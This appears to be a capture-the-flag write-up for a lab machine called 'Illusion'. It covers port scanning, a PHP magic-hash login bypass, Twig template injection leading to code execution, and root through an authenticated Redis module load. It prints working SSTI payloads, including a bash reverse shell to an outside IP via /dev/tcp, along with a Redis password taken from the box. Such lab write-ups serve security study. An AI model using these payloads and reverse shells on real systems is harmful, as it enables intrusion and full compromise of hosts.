Illusion

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 192.168.183.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 18:22 +08
Warning: 192.168.183.203 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.183.203
Host is up (0.17s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

We can start proxying traffic through Burp.

Web Enum -> Magic Hashes

Port 80 presents a corporate web page with a Login:

The login page is basic and operates in PHP:

Default credentials don't work here. Brute forcing also doesn't work. Since this runs on PHP, we can try some Magic Hashes by submitting this request:

PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThingsGitHub

This works because the Location header points to dashboard.php now.

Orders -> SSTI

The dashboard is simple.

If we submit any queries, we can see our order name pop up on the top:

Since this website runs on PHP and the input value is printed out on screen, I wanted to test for SSTI by using {{7*7}} as the name of the order, and it works:

On Hacktricks, there's a whole section for Twig (PHP), and I tried their payload to run id:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

This confirms that SSTI works and we have RCE on the machine. Sending this payload gets us a reverse shell:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/192.168.45.208/4444 0>&1'")}}

Privilege Escalation

Redis Creds -> RCE

Within the user's directory, there was a Redis related file that contained a hash:

www-data@illusion:/home/james$ ls
local.txt  redis-openssl-gen-pass.txt
www-data@illusion:/home/james$ cat redis-openssl-gen-pass.txt 
sgm5ZgEsCrj4L/0fi/1XGUcGII2GTuAjo3eotCFNy6ZManKrLWQaRCTOE6QpyCojpyr+Rix12VYbdOkA

Checking the listening ports using netstat reveals that port 6379 is listening and is likely Redis:

www-data@illusion:/home/james$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -   

We can port forward this using chisel. Afterwards, we can access the Redis database using redis-cli. Attempts to run commands fail because we aren't authenticated:

$ redis-cli -h 127.0.0.1
127.0.0.1:6379> INFO
NOAUTH Authentication required.

In this case, we can try the hash that we found earlier.

127.0.0.1:6379> AUTH sgm5ZgEsCrj4L/0fi/1XGUcGII2GTuAjo3eotCFNy6ZManKrLWQaRCTOE6QpyCojpyr+Rix12VYbdOkA
OK
127.0.0.1:6379> INFO
# Server
redis_version:6.2.6
<TRUNCATED>

There was nothing within the database that was interesting, but I did want to know who was running it. A quick ps -elf reveals that the root user is running it:

www-data@illusion:/home/james$ ps -elf |grep redis
5 S root         893       1  0  80   0 - 13071 -      10:21 ?        00:00:00 /usr/local/bin/redis-server 127.0.0.1:6379
0 S www-data    3221    3025  0  80   0 -  1625 pipe_w 10:37 pts/0    00:00:00 grep redis

Since root is running it and we can login, this means that we can also load any module that we want. This repository has a module that works:

GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!GitHub

Compile and upload the .so file to the machine. Then, load it within redis-cli:

We can get a reverse shell via system.rev <IP> <PORT>:

Rooted!